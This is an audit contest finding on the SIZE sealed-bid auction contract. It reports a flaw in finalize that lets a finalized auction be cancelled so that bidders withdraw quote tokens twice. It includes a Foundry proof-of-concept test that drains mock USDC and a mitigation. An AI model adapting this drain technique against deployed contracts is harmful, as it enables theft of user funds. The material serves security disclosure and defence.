SIZE contest - JTJabba's results

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33-L34 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L396-L399 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L424-L427

Vulnerability details

Impact

clearingQuote and clearingBase are parameters for finalize used to tell the contract the quote and base amounts in the last cleared bid. a.data.lowestQuote gets set in finalize and is used to track if it has been called by checking if it equals type(uint128).max, its initialization value. Bids with quote amounts equal to type(uint128).max are rejected, but clearingQuote and clearingBase are only checked to produce the same ratio as data.previousQuotePerBase.

If finalize is called with clearingQuote passed as type(uint128).max and clearingBase passed such that type(uint128).max² / clearingBase = data.previousQuotePerBase, a.data.lowestQuote will remain type(uint128).max, resulting in state checks assuming finalize hasn't been called allowing the finalized auction to be cancelled and quote assets that got transferred to the seller to be withdrawn a 2nd time by bidders using cancelBid. This could be used to drain all assets from the contract.

Proof of Concept

Add the following test to /src/test/SizeSealed.t.sol

function testExploit() public {
        MockERC20 targetToken = new MockERC20("USD Coin", "USDC", 6); // Token we want to drain
        MockERC20 attackToken = new MockERC20("Attack Coin", "ATAK", 18); // Token worth much less than USDC 1:1.
        MockSeller attacker1 = new MockSeller(address(auction), targetToken, attackToken);
        MockBuyer attacker2 = new MockBuyer(address(auction), targetToken, attackToken);
        uint128 auctionSize = 1e9;
        uint256 auctionStartingBalance = 1e12;
        targetToken.mint(address(auction), auctionStartingBalance); // Simulate auction contract starting with some locked up USDC
        uint256 _reserveQuotePerBase = type(uint128).max;
        uint128 _minimumBidQuote = 1;
        uint256 auctionID = attacker1.createAuction( // Create auction for 1e9 ATAK
            auctionSize, _reserveQuotePerBase, _minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );
        attacker2.setAuctionId(auctionID);
        attacker2.bidOnAuction(auctionSize, auctionSize); // bid 1e9 USDC for 1e9 ATAK (Bidder starts with some USDC)
        vm.warp(endTime + 1);
        uint256[] memory bidIndices = new uint[](1);
        bidIndices[0] = 0;
        attacker1.finalize(bidIndices, type(uint128).max, type(uint128).max); // Will send us 1e9 USDC
        attacker1.cancelAuction();
        attacker2.cancel(); // Will send 2nd attacker account back 1e9 USDC
        assertEq(targetToken.balanceOf(address(auction)), auctionStartingBalance - auctionSize); // Assert we stole 1e9 USDC
    }

Recommended Mitigation Steps

To keep current functionality, a check could be added to finalize to revert if clearingQuote is type(uint128).max. This will ensure the contract always correctly tracks whether or not finalized has been called.